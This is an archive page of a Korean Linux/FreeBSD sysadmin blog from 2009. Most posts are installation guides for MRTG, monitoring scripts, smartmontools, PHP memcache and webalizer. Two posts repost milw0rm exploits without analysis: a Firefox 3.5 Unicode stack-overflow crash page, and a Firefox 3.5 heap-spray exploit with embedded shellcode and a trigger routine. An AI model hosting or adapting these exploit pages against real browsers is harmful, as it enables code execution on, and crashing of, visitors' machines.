|
|
from Linux
2009/07/27 15:54
아.. 소스설치는 안하길 원했는데.. 해보자구염..!! MRTG를 소스 설치하기 위해선 zlib, libpng, gd 가 설치되어 있어야 하므로 이것들 부터 한 다음 MRTG 설치를 함 1. zlib 설치yongbok# mkdir /usr/local/src && cd /usr/local/src yongbok# wget http://www.gzip.org/zlib/zlib-1.1.4.tar.gz yongbok# tar xzvf zlib-1.1.4.tar.gz yongbok# mv zlib-1.1.4 zlib && cd zlib yongbok# ./configure yongbok# make && cd .. 2. libpng 설치yongbok# wget ftp://ftp5.freebsd.org/pub/CTAN/support/ghostscript/3rdparty/graphics/png/libpng-1.0.15.tar.gz yongbok# tar xzvf libpng-1.0.15.tar.gz yongbok# mv libpng-1.0.15 libpng && cd libpng yongbok# make -f scripts/makefile.std CC=gcc ZLIBLIB=../zlib ZLIBINC=../zlib && cd .. 3. gd 설치yongbok# wget http://www.boutell.com/gd/http/gd-2.0.11.tar.gz yongbok# tar xzvf gd-2.0.11.tar.gz yongbok# mv gd-2.0.11 gd && cd gd yongbok# env CPPFLAGS="-I../zlib -I../libpng" LDFLAGS="-L../zlib -L../libpng" \ ./configure --disable-shared --without-freetype --without-jpeg yongbok# make && cd .. 4. MRTG 설치yongbok# wget http://oss.oetiker.ch/mrtg/pub/mrtg-2.16.2.tar.gz yongbok# tar xzvf mrtg-2.16.2.tar.gz yongbok# cd mrtg-2.16.2 yongbok# ./configure --prefix=/usr/local/mrtg \ --with-gd=/usr/local/src/gd \ --with-z=/usr/local/src/zlib \ --with-png=/usr/local/src/libpng yongbok# make && make install cfg 생성 (cfg 이름은 아무거나 상관없음) yongbok# /usr/local/mrtg/bin/cfgmaker public@localhost > /usr/local/mrtg/ruo91.cfg 생성된 cfg 파일을 열어서 사용자 환경에 맞게 추가 후 MRTG 데몬이 주기적으로 5분 마다 실행 하도록 옵션 추가 yongbok# vi /usr/local/mrtg/ruo91.cfg ### Global Config Options # html, 이미지 그래프가 생성 될 디렉토리 WorkDir: /home/www/traffic # 한국어 설정 Language: korean # 주기적으로 5분마다 실행 RunAsDaemon: yes MRTG 실행 yongbok# /usr/local/mrtg/bin/mrtg /usr/local/mrtg/ruo91.cfg Daemonizing MRTG ... index 파일 생성 yongbok# /usr/local/mrtg/bin/indexmaker /usr/local/mrtg/ruo91.cfg \ --output=/home/www/traffic/index.html --title="Yongbok Traffic"
ruo91
2009/07/27 15:54
2009/07/27 15:54
Trackback Address >> http://www.yongbok.net/blog/trackback/58
이 옵션들은 필자가 쓰는 FreeBSD 서버에서 쉘 스크립트와 smartmontools 를 작성과 설치를 하였으므로 사용자가 알아서 수정하여 사용해야한다. (FreeBSD 서버라면 걍 복사 & 붙여넣기하면 다될꺼임) - MySQL 스크립트 [root@yongbok ~]# vi /usr/local/etc/mrtg/mysql_count.sh #!/bin/sh a=`ps auxw | grep mysqld | grep -v grep | wc -l` b=`netstat -an | grep mysql.sock | wc -l`
echo $a echo $b
- HTTPD 스크립트 [root@yongbok ~]# vi /usr/local/etc/mrtg/mysql_count.sh #!/bin/sh a=`ps auxw | grep http | grep -v grep | wc -l` b=`netstat -an | grep :80 | grep -v "0.0.0.0" | wc -l`
echo $a echo $b
- HDD 스크립트 [root@yongbok ~]# vi /usr/local/etc/mrtg/hdd_temp.sh #!/bin/sh /usr/local/sbin/smartctl -A /dev/ad0|grep Temperature_Celsius|awk '{print $10}{print $10}'
위에서 생성한 스크립트들을 실행 권한을 준다. [root@yongbok ~]# chmod 755 /usr/local/etc/mrtg/*.sh - HDD 온도 측정을 위한 smartmontools 설치 하드디스크의 온도 설정하기 위해선 smartmontools 이라는 것을 설치해야함 [root@yongbok ~]# cd /usr/ports/sysutils/smartmontools && make install clean && rehash MRTG 설정 파일에 아래 내용을 추가 해준다. [root@yongbok ~]# vi /usr/local/etc/mrtg/ruo91.cfg ### MySQL ### Target[mysql]: `/usr/local/etc/mrtg/mysql_count.sh` WithPeak[mysql]: my MaxBytes[mysql]: 100 Title[mysql]: mysql daemon & mysql session Options[mysql]: gauge,integer,nopercent,growright PNGTitle[mysql]: Number? LegendI[mysql]: mysql daemon: LegendO[mysql]: mysql session: Legend1[mysql]: Number of mysql Legend2[mysql]: Number of session Legend3[mysql]: 5 Min Max Number of mysql Legend4[mysql]: 5 Min Max Number of mysql session ShortLegend[mysql]: 개 PageTop[mysql]: <H1>mysql daemon & session</H1>
### httpd daemon & httpd session ### Target[http]: `/usr/local/etc/mrtg/http_count.sh` WithPeak[http]: my MaxBytes[http]: 100 Title[http]: httpd daemon & httpd session Options[http]: gauge,integer,nopercent,growright PNGTitle[http]: Number? LegendI[http]: httpd daemon: LegendO[http]: httpd session: Legend1[http]: Number of httpd Legend2[http]: Number of session Legend3[http]: 5 Min Max Number of httpd Legend4[http]: 5 Min Max Number of httpd session ShortLegend[http]: 개 PageTop[http]: <H1>httpd daemon & session</H1>
### 하드디스크 온도(smartctl 사용) ### Target[htemp]: `/usr/local/etc/mrtg/hdd_temp.sh` MaxBytes[htemp]: 80 Options[htemp]: gauge, growright, absolute, integer, nopercent, noinfo Unscaled[htemp]: dwmy PNGTitle[htemp]: Temperature ShortLegend[htemp]: deg. LegendI[htemp]: TEMP LegendO[htemp]: TEMP Legend1[htemp]: HDD 온도 Legend2[htemp]: HDD 온도 Title[htemp]: HDD 온도 PageTop[htemp]: <H1>HDD 온도</H1> MRTG 재시작 [root@yongbok ~]# ps -aux | grep mrtg root 85838 0.0 1.0 12596 10848 ?? Is 12:24AM 0:25.29 /usr/local/bin/perl -w /usr/local/bin/mrtg /usr/local/etc/mrtg/ruo91.cfg [root@yongbok ~]# kill -9 85838 [root@yongbok ~]# mrtg /usr/local/etc/mrtg/ruo91.cfg Daemonizing MRTG ...
index 페이지 생성 [root@yongbok ~]# indexmaker /usr/local/etc/mrtg/ruo91.cfg \ --output=/home/www/traffic/index.html --title="Yongbok Traffic"
ruo91
2009/07/26 01:25
2009/07/26 01:25
Trackback Address >> http://www.yongbok.net/blog/trackback/64
smartctl 로 하드디스크 온도 측정을 할수 있다. [root@yongbok ~]# cd /usr/ports/sysutils/smartmontools && make install clean smartd 를 /etc/rc.conf 파일에 적용을 해준다. [root@yongbok ~]# echo 'smartd_enable="YES"' >> /etc/rc.conf 하드디스크 정보 [root@yongbok ~]# smartctl -i /dev/ad0 smartctl version 5.38 [i386-portbld-freebsd7.2] Copyright (C) 2002-8 Bruce Allen Home page is http://smartmontools.sourceforge.net/
=== START OF INFORMATION SECTION === Model Family: Western Digital Caviar SE family Device Model: WDC WD5000AAKB-00YSA0 Serial Number: WD-WCAS88436845 Firmware Version: 12.01C02 User Capacity: 500,107,862,016 bytes Device is: In smartctl database [for details use: -P show] ATA Version is: 8 ATA Standard is: Exact ATA specification draft version not indicated Local Time is: Sat Jul 25 13:47:25 2009 KST SMART support is: Available - device has SMART capability. SMART support is: Enabled
To see temperature, enter: 하드디스크의 온도 47C [root@yongbok ~]# smartctl -d ata -A /dev/ad0 | grep -i temperature 194 Temperature_Celsius 0x0022 103 091 000 Old_age Always - 47
ruo91
2009/07/25 13:49
2009/07/25 13:49
Trackback Address >> http://www.yongbok.net/blog/trackback/63
파이어폭스 3.5 유니코드 스택 오버플로우 http://www.yongbok.net/firefox3.5_unicode_stack_overflow.php
<html>
<head>
<script language="JavaScript" type="Text/Javascript">
var str = unescape("%u4141%u4141");
var str2 = unescape("%u0000%u0000");
var finalstr2 = mul8(str2, 49000000);
var finalstr = mul8(str, 21000000);
document.write(finalstr2);
document.write(finalstr);
function mul8 (str, num) {
var i = Math.ceil(Math.log(num) / Math.LN2),
res = str;
do {
res += res;
} while (0 < --i);
return res.slice(0, str.length * num);
}
</script>
</head>
<body>
</body>
</html>
<html><body></body></html>
# milw0rm.com [2009-07-15]
ruo91
2009/07/16 11:58
2009/07/16 11:58
Trackback Address >> http://www.yongbok.net/blog/trackback/57
from Linux
2009/07/15 01:08
음.. eAccelerator 랑 비슷하게 php 페이지를 캐싱 해도록 해주는 것이다. 성능 향상은 있는듯함. 홈페이지에서 memcache 파일을 다운 받아 설치를 진행 한다. (memcache2.2.5 기준) yongbok# wget -P /usr/local/src http://pecl.php.net/get/memcache-2.2.5.tgz yongbok# cd /usr/local/src; tar xzvf memcache-2.2.5.tgz; cd memcache-2.2.5 yongbok# /etc/php/bin/phpize yongbok# ./configure --with-php-config=/etc/php/bin/php-config yongbok# make; make test; make install 설치가 완료 되면 아래 처럼 memcache.so 파일이 있는 곳을 알려준다. (참 친절함) Installing shared extensions: /etc/php/lib/php/extensions/no-debug-non-zts-20060613/ php.ini 가 있는 곳으로 가서 아래처럼 맨 아래에다가 추가을 한다. [memcache] ; extension 는 memcache.so 가 있는 디렉토리를 지정 extension=/etc/php/lib/php/extensions/no-debug-non-zts-20060613/memcache.so memcache.allow_failover = 1 memcache.max_failover_attempts=20 memcache.chunk_size =8192 memcache.default_port = 11211 저장후 아파치 재실행 yongbok# /etc/apache2/bin/apachectl restart ** 옵션 설명 extension memcache.so 모듈이 있는 곳을 가리킨다.
memcache.allow_failover 연결 에러가 발생할 경우 Memcache 확장이 다른 서버로 넘어갔는지 여부를 제어. 기본값은 1 (true)
memcache.max_failover_attempts 데이터를 저장 또는 검색하기 위해 연결할 서버들의 수를 제한하는 정수. memcache.allow_failover가 실패하면, 이 매개변수는 무시된다. 기본값은 20
memcache.chunk_size 데이터 전송 크기가 어느 정도인지를 제어하는 정수이다. 기본은 8192 bytes (8 KB)이지만, 32768 (32 KB)로 설정하여 더 나은 성능을 볼 수 있다.
memcache.default_port Memcache로 연결할 때 사용하는 TCP 포트용 정수이다. 이를 수정하지 않는다면, 기본은 권한이 없는 11211이다.
ruo91
2009/07/15 01:08
2009/07/15 01:08
Trackback Address >> http://www.yongbok.net/blog/trackback/55
파이어폭스 3.5 버전에서 아래의 html 소스 코드로 공격 할수 있는 취약점이 발견 되었습니다. http://www.yongbok.net/firefox3.5_exploit.php

<html>
<head>
<title>Firefox 3.5 Vulnerability</title>
Firefox 3.5 Heap Spray Vulnerabilty
</br>
Author: SBerry aka Simon Berry-Byrne
</br>
Thanks to HD Moore for the insight and Metasploit for the payload
<div id="content">
<p>
<FONT>
</FONT>
</p>
<p>
<FONT>Loremipsumdoloregkuw</FONT></p>
<p>
<FONT>Loremipsumdoloregkuwiert</FONT>
</p>
<p>
<FONT>Loremikdkw </FONT>
</p>
</div>
<script language=JavaScript>
/* Calc.exe */
var shellcode = unescape("%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +
"%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +
"%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +
"%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +
"%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +
"%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +
"%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +
"%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +
"%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +
"%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +
"%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +
"%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +
"%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +
"%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +
"%u652E%u6578%u9000");
/* Heap Spray Code */
oneblock = unescape("%u0c0c%u0c0c");
var fullblock = oneblock;
while (fullblock.length<0x60000)
{
fullblock += fullblock;
}
sprayContainer = new Array();
for (i=0; i<600; i++)
{
sprayContainer[i] = fullblock + shellcode;
}
var searchArray = new Array()
function escapeData(data)
{
var i;
var c;
var escData='';
for(i=0;i<data.length;i++)
{
c=data.charAt(i);
if(c=='&' || c=='?' || c=='=' || c=='%' || c==' ') c = escape(c);
escData+=c;
}
return escData;
}
function DataTranslator(){
searchArray = new Array();
searchArray[0] = new Array();
searchArray[0]["str"] = "blah";
var newElement = document.getElementById("content")
if (document.getElementsByTagName) {
var i=0;
pTags = newElement.getElementsByTagName("p")
if (pTags.length > 0)
while (i<pTags.length)
{
oTags = pTags[i].getElementsByTagName("font")
searchArray[i+1] = new Array()
if (oTags[0])
{
searchArray[i+1]["str"] = oTags[0].innerHTML;
}
i++
}
}
}
function GenerateHTML()
{
var html = "";
for (i=1;i<searchArray.length;i++)
{
html += escapeData(searchArray[i]["str"])
}
}
DataTranslator();
GenerateHTML()
</script>
</body>
</html>
<html><body></body></html>
# milw0rm.com [2009-07-13]
ruo91
2009/07/14 22:45
2009/07/14 22:45
Trackback Address >> http://www.yongbok.net/blog/trackback/54
FreeBSD 에서 diablo-jdk16 라이브러리 설치시 에러가 날때 해당 URL 에서 라이센스 동의 하여 다운로드 받고 /usr/ports/distfiles 디렉토리에 업로드 후 설치 하면 됩니다.
yongbok# cd /usr/ports/java/diablo-jdk16 && make install clean ===> Vulnerability check disabled, database not found ===> Found saved configuration for diablo-jdk-1.6.0.07.02_5 Because of licensing restrictions, you must fetch the distribution manually.
Please access http://www.FreeBSDFoundation.org/cgi-bin/download?download=diablo-caffe-freebsd7-i386-1.6.0_07-b02.tar.bz2 with a web browser and "Accept" the End User License Agreement for "Caffe Diablo 1.6.0".
Please open http://java.sun.com/javase/downloads/index.jsp in a web browser and follow the "Download" link for "JDK US DST Timezone Update Tool - 1_3_15" to obtain the time zone update file, tzupdater-1_3_15-2009g.zip.
Please place the downloaded file(s) in /usr/ports/distfiles. *** Error code 1 Stop in /usr/ports/java/diablo-jdk16. *** Error code 1 Stop in /usr/ports/java/diablo-jdk16.
ruo91
2009/07/11 04:41
2009/07/11 04:41
Trackback Address >> http://www.yongbok.net/blog/trackback/53
from Linux
2009/07/04 13:20
웹서버의 어떤 파일, 페이지, 트래픽, 히트수, 페이지뷰 등등을 분석하거나 모니터링 할때 유용하게 쓰이는 webalizer 을 설치 해보도록 하겠습니다. webalizer 의 의존성 라이브러리 gd 와 png 를 먼저 설치합니다. gd 설치 경로는 /usr/local/libgd 이고 png 설치 경로는 /usr/local/libpng 입니다.
1. 의존성 라이브러리 설치 gd 라이브러리를 설치합니다. (gd-2.0.34 기준)
yongbok# wget -P /root/src http://www.libgd.org/releases/gd-latest.tar.gz yongbok# cd /root/src; tar xzvf gd-latest.tar.gz; cd gd-2.0.34 yongbok# ./configure --prefix=/usr/local/libgd yongbok# make; make install png 라이브러리를 설치합니다. (libpng-1.2.37 기준) yongbok# wget -P /root/src http://downloads.sourceforge.net/sourceforge/libpng/libpng-1.2.37.tar.gz yongbok# cd /root/src; tar xzvf libpng-1.2.37.tar.gz; cd libpng-1.2.37 yongbok# ./configure --prefix=/usr/local/libpng yongbok# make; make install 2. Webalizer 설치
공식 홈페이지 ( http://www.mrunix.net/webalizer/download.html ) 에서 webalizer 을 다운로드 합니다. yongbok# wget -P /root/src ftp://ftp.mrunix.net/pub/webalizer/webalizer-2.21-02-src.tgz yongbok# cd /root/src; tar xzvf webalizer-2.21-02-src.tgz; cd webalizer-2.21-02 yongbok# /configure \ --prefix=/etc/webalizer \ --with-language=korean \ --with-pnglib=/usr/local/libpng/lib \ --with-gdlib=/usr/local/libgd/lib \ --with-gd=/usr/local/libgd/include yongbok# make; make install 설정 파일을 복사합니다. yongbok# cp /etc/webalizer/etc/webalizer.conf.sample /etc/webalizer.conf webalizer.conf 파일을 사용자의 환경에 맞게 수정을 합니다. yongbok# vi /etc/webalizer.conf # 분석할 로그지정 LogFile /home/apache2-log/www-access.log # 웹페이지에 보여줄 디렉토리 지정 예) /home/www/webalizer # 실제 웹페이지는 http://www.yongbok.net/webalizer 로 보여줌 OutputDir /home/www/webalizer # 로그 파일이 주기적으로 지워질 경우 Incremental yes # 호스트명 HostName yongbok.net # 히스토리명 HistoryName www.yongbok.net webalizer 을 실행합니다. yongbok# /etc/webalizer/bin/webalizer -c /etc/webalizer.conf Webalizer V2.21-02 (FreeBSD 7.2-STABLE i386) Korean 대상 로그 파일: /home/apache2-log/www-access.log (clf) 출력 디렉토리: /home/www/webalizer 호스트명: 'yongbok.net' 기존 히스토리 정보 해석: www.yongbok.net 통계 정보 파일을 찾을 수 없음 주의: 긴 레퍼럴 필드 짜름 주의: 긴 레퍼럴 필드 짜름 [65] 주의: 긴 레퍼럴 필드 짜름 통계 정보 저장 [07/04/2009 12:48:40] 리포트 생성: July 2009 히스토리 정보 저장 리포트 출력 OutputDir 에서 지정해준 곳에 index.html 파일이 생성됩니다. cron 으로 주기적으로 30 분마다 webalizer 을 실행 하도록 합니다. yongbok# crontab -e */30 * * * * /etc/webalizer/bin/webalizer -c /etc/webalizer.conf 잘 실행 되었는지 웹페이지에서 테스트를 합니다.
ruo91
2009/07/04 13:20
2009/07/04 13:20
Trackback Address >> http://www.yongbok.net/blog/trackback/52
|
|
|